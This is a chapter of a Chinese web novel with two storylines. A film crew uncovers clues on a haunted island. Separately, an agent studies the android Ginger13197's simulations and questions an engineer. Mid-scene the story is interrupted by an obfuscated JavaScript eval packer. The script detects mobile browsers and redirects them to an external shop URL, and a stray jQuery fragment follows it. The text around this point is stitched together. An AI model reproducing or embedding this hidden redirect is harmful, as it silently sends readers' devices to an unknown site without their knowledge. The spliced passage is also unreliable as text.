讲到这里，大家明白过来：这座城堡，和娜塔莉亚父亲的去世有密不可分的关系！
子弹、弹孔、机关枪刮痕，甚至不知名的酸性液体，还有刚才发现的布包，都是一个个连接真相的碎片。
林其水双手轻轻回扣住姜无的肩膀，隐藏在他颀长的阴影之下，眼神愈发显得凌厉。
她是在场唯一一个知道娜塔莉亚为什么要来这里的人。
或者不如说，大家今天出现在这里，是娜塔莉亚和她的共谋。
当林其水听说一位神秘又高傲的女演员，愿意花光自己所有的身家，来弄清楚一个灵异事件频发的岛上，究竟有什么关于她身世的秘密时，她就觉得这是一个极好的故事。
所以她找唐立风一起去促成了这件事。
也就是娜塔莉亚欠她的大人情。
至于其他几人出现在这里的原因呢——
“峯说得没错，我确实需要大家的帮助。”
她抬头看向刚才对她付出了关心的每一个人。
“这里情况未知，我需要一个能保护我安全的人。”这说的自然是峯。
“一个能随时比对关键痕迹和线索的人。”她看向姜无，后者垂着脑袋，虚虚地挂在林其水身上。
好在大家也是见怪不怪了。
一旁的徐朗朗那清澈的眼神里还有几分困惑，又有一些期待。
娜塔莉亚稍稍停顿一下，冲她温柔地笑笑：“还有，还有一个善良到鬼神都不忍心伤害的人。”
“等等，我有些乱了。所以，娜塔你是因为你爸爸，早就想来蛇蕾岛。而我们的任务，又是找出这里被封禁的原因……”
“哦，我懂了，这就是同一件事，对吧！”
徐朗朗看向镜头后面，林其水的方向，后者只是轻轻点了点头。
答完这问题，她却无法忽略身上越来越沉的重量，心绪也跟着一点点沉下去。
奇怪，刚才在树林里感受到的那种隐隐的不对劲，又加深了一层。
徐朗朗嘟起疑惑的嘴唇，还想接着追问些什么。
“林导！”
地窖暗门处传来一声大吼：“房间里的骨堆……让人给拿走了！”
话音刚落，小猫像条泥鳅一样从娜塔莉亚的手中划走，往地窖深处消失得无影无踪。
林其水眼神一闪，迅速反应过来，一把薅过靠在她身上的姜无，三步并作两步往地面蹬踩上去。
亮光乍泄，她冲着地窖口摄像煞白的小脸就问：“怎么回事！”
“就……就是城堡墙里的那一堆白骨，您不是叮嘱我们好好盯着嘛。刚才突然来了一个人，跟野人似的，他唰地一下闯进去，卷起东西就进山了，我们都没反应过来。”
“为什么不联络我？”
“没信号……什么设备都用不了，这才跑过来叫您的！”
林其水这才想起来，尹惜墨说了，所有的无线通讯设备都没法用。
“多久了？”
“啊？”
尹惜墨恨铁不成钢地看着自己手底下人，帮他解释：“你别哆嗦了，那个野人跑了多久了，往哪边去的？”
“往……那边！刚过去两三分钟吧。”摄像顺着刚才的记忆指向东北边。
听到第一句，林其水就几乎可以断定，这个“野人”的目标是娜塔莉亚。
否则，那野人不至于等到今天，才闯进城堡里，偷走一件长久以来无人在意的东西。
只有娜塔莉亚在意。
对她来说，那是真相的引子。
果然，还没来得及找她合计，娜塔莉亚就如离弦之箭般冲了出去，她的跟拍摄像拔腿就追，紧随其后。
林其水看这情况，也刚想往前跟。
一个没注意，被身后的大拖油瓶给拽得一个趔趄。
刚才着急，林其水想都没想就死死抓住了姜无。上来之后她的手指松开了，姜无的倒还紧握着。
林其水看他越来越不对劲的脸色，心里一阵打鼓。
怎么上来之后，他的状态似乎变得更差了。
难道，不是氧气不足引起的头晕吗？
一番挣扎，林其水决定把手里的人交给地窖口结结巴巴的小伙子，转身跟姜无解释：“我先过去，你好一点了再来找我，好吗？”
谁知道姜无忽然伸出双手从背后拉住她，跟上前去，虚弱又坚定地开口：“我可以的……”
姜无知道自己出了什么问题，但他不想向他这具特殊的身体服输。
他一定要留在林其水身边，也不管这件事情，有多么突破他生理结构的极限。
有了喀斯弄拉的劫后余生和绝望感，这一次，他什么都管不了了。
“......我可以的。别丢下我......”
林其水眉头紧锁刚想反驳，看到姜无委屈得皱巴的小脸，左看右看，这形势实在不容犹豫，忍不住叹了口气。
“好了好了，我知道了。”
“你，你乖一点呀……”
姜无本来就竭尽全力在痛苦强撑着，他最后模糊的视线里只看见林其水嘴唇微动，上来搂着他的动作。
却来不及看清她说的什么，就“啪”地栽倒在地上。
————————————————————
莱纳德守在雪山大石碑的顶层，中控台旁的环形桌前，盯着眼前巨大的屏幕。
他手中不断写写画画，在一张揉皱的道林纸上描摹着什么。
面前，Ginger13197的数字孪生体以快出残影的速度，不断地站起、转身、抱头躲避，探路前行、弯腰查看……
一旁的代码区域无休止地滚动，迅速放大闪现、弹出一行字符又恢复秩序，T.I和花八千万购买的空间容量以T/s为单位被消耗掉。
一天盯下来，莱纳德那本就浓重的黑眼圈快要掉到下巴上，长出的胡茬能把隔壁家小孩扎到呜呜大哭。
按照首席架构师的说法，她们大数据中心只提供Ginger系列机器人的引擎数据库、外部算力支持和储存机器人终端采集到的大量信息，并在此基础上，进行场景模拟。
简单来说，“训练场”是一个收集数据并反复推演事件可能性的地方。
而机体的版本管理以及档案、日志这些的都放在T.I的公司系统中。
至于Ginger13197的最高命令，则是由唐斐本人为他设定，和记忆、关键决策算法一起，存储在他自己身上。
没错，莱纳德从首席那挖到了这个关键：Ginger13197的体内，是有优先于一切算法执行的命令——最高命令的。
最高命令、行动策略和场景模拟这几个部分的控制分离，让它在保持超高智能的同时，兼具惊人的灵活性。
这同样也是非常冒险的设计，在业内都算非常罕见的架构。
也正因此，莱纳德现在在大数据中心所做的事情，就是看着Ginger13197宛如精神分裂一般，把它见到的所有人，在所有场景里，可能会做出的事，全部都推演一遍。
然后反方向地，从这场永不完结的独角戏中，找到“导演”讲戏时亲手交予它的角色信念——唐斐设定在他体内的初始“最高命令”。
但不管是莱纳德的眼睛，还是他的脑子，都无法做到这件事情。
太快、太乱、太庞大了。
它才不会照顾到有观众，就把一场戏完整地走一遍，而是在中途任何分支上加上即兴演出、倍速倒回或者倍速前进。
这样继续调查下去，不仅使莱纳德感到浪费时间，而且会怀疑自己正在凝视整个人类族群的迟钝和有限。
终于，他感到一阵崩溃，把铅笔甩到桌面上，疲惫地捂上双眼。
哎，在这个有着无数内部摩天大楼的巨型机房里，天寒地冻的鬼地方，不知道还要熬几天。
要是还一无所获地回去，接下来的路，恐怕就更难走了。
莱纳德把精神从屏幕上解脱出来，打算去走廊上短暂地清醒一下。
他从厚重的防护服里掏出点火器，肘撑在栏杆上，却怎么也无法把烟点着。
一阵烦躁，莱纳德于是索性隔着手套，捏着手里这泛着金属光泽的小圆片，整个人撑在走廊的扶手上，把烟含在嘴里，轻轻地咬噬起来。
“您，是想点火吗？”
莱纳德从沉思之中抬眼，一个圆脸、白白净净的小伙子冲着他在的方向发问。
这人手里端着个平板，似乎刚跟人交接完工作，胸前呼吸的起伏频率都因适应了极寒而与自己不同。
想来，也是这里的工作人员。
“跟我来吧。”
不知怎么的，听完这句话，莱纳德耳边忽然响起一道幻觉似的低鸣声，像是从身侧这一大片钢铁怪兽的体内发出的嘲弄。
他紧了紧喉咙，强撑出一个笑容回应面前这个热心带路的年轻人。
“麻烦你了。”
两人一前一后地站在电梯的对角线上，升入地上，走到整栋建筑中线上最边缘的拐角处。
“把大数据服务器建在雪山里，每年就能节省不少冷冻液……喏，整栋楼只有这片区域，是支持热循环的。”
莱纳德站在窗边，心满意足地吞云吐雾，从玻璃上映射出那员工的影子。
“我是NRA的探员莱纳德，过来办公务，还没请教您……”
“啊......我是T.I集团的驻场工程师，我叫戴之冲。”
原来，就是这个人，听说一直在对公司进行调查的警探。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17937348|211022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
探员面上波澜不惊地回应，心里却暗暗回忆，确认自己在之前的调查中，从未见到这人的身影。
他锐利的眼睛不自觉转了半圈，在弥散开的烟雾中，望向对方稚嫩的脸。
“T.I……挺好的，大公司嘛，你到处出差这么辛苦，福利待遇估计不错吧。”
“嗯，还行……其实，我每个月只用来一次，一次就呆几天，没太多补贴的。”
戴之冲边漫不经心回应着，边用余光注意到屏幕亮起，顺手把一个待办的红点消除了。
莱纳德发现，不处理工作的时候，这小子也一直用双手把平板抱在胸前，像整了个高科技盾牌。
不知道他在害怕些什么，还是天生性格就缺乏安全感。
如果是后者的话，那自己的绝佳猎物可就出现了。
“诶，小戴，你这会不忙吧。我有些事儿想请教，要不，咱俩聊一会儿？”
戴之冲还是那副温吞样子，微笑地看着莱纳德点点头，算是同意了。
“我听说你们公司，有好几个自建的地下实验室，专门用来研发和管理AI仿生人，这事儿是真的吗？”
戴之冲倾听了一会儿，倒是也没有任何抵触的情绪，甚至称得上友好地回答了莱纳德的问题。
“嗯，您说的是真的。不过，以我的权限，还接触不到这方面详细信息。Ginger系列实验室，都是由我们唐总和小唐总直接管理的。”
“小唐总……唐立风？”
“对的。”
“那你们唐总派你来驻场，就是因为新给Ginger13197下单的，这一笔数据空间，对吧？”
戴之冲听到这个问题，显得有些惊诧，联想到之前莱纳德自我介绍的警探身份，又觉得合理。
“……对的。”
“我问过值班的首席，你们公司这次要的数据空间，大概是通用AI十年才能消耗完的量。你们领导这是什么搞法，打了这么多提前量，为什么呢？”
莱纳德用力地吸了一口，烟头在两人之间忽明忽暗地燃烧，气氛微妙地变化起来。
“嗯？什么干什么？”
戴之冲这一道毫无攻击性的反问，像在装傻，却又带着十足的真诚，反而让提问者无所适从。
正当莱纳德以为自己太冒进，激起了小兔子防备心的时候，戴之冲又以他那特有的平和语调，慢慢开始解释起来。
“探长，您知道吗？我每天的其中一项工作，就是比对Ginger13197和其他仿生AI的数据空间消耗速率。比对的结果，你可能很难想象。”
“——同比相差了将近1000倍。”
“1000倍，您知道这代表着什么吗？”
戴之冲清亮的声线，穿过烟雾撩拨着莱纳德最敏锐的触角，使他毫无选择地、迫切地凝视着他。
“这代表着，从生物学的维度上看，Ginger13197和其他的所有AI——已经不是一个物种了。”
雪山上的太阳快要落下。
静谧中，窗外雪的影子透过两人之间弥散的烟雾，照入循环的暗室。
戴之冲的话一字一句，都在挑战着莱纳德，摇晃着他脚下，那山间悬空的绳索。
轰然在他心里拉响一道警铃。
他猛地掐灭手里的烟，冲回中控室。
“探长，你去哪……”戴之冲跟着莱纳德转身狂奔。
前面的人没有心思回应任何一句话，径直冲到了自己的座位前，像猎豹盯住丛林中的猎物一样，凶狠地盯住屏幕里的主角。
而就在他定神俯身的一瞬间，Ginger13197的动作突然迟缓了下来！
他反复地重复两个动作：抬手，放下。抬手，放下。
屏幕上不断的黑色屏闪，让他永远在抬手，却抬不到想接触的地方。
“我操。”莱纳德手忙脚乱地拿出星环扣，调到全景记录模式。
之前数年干刑警的调查经验，让他学会了什么叫做线索：
快里面的慢，恨里面的爱，脏里面的纯，谎里面的真。
日常不是线索，反常才是线索。
而让他调用出这一套经验的，恰恰是戴之冲的那一句话。
之前他一直把Ginger13197当做一个机器程序，只看他在做什么，没注意过他是什么时候停下来的。
注意点完全错了。
他也许根本不是按照指令来做事，却是按照指令停止做事。
Ginger13197倒地之后，莱纳德脸上的晦气一扫而光，露出了今天第一个如释重负的笑容。
他目光灼灼地盯着眼前，那被定格住的急切身形。
错过了身后，戴之冲捏着平板的手指节突然收紧，用力得泛白。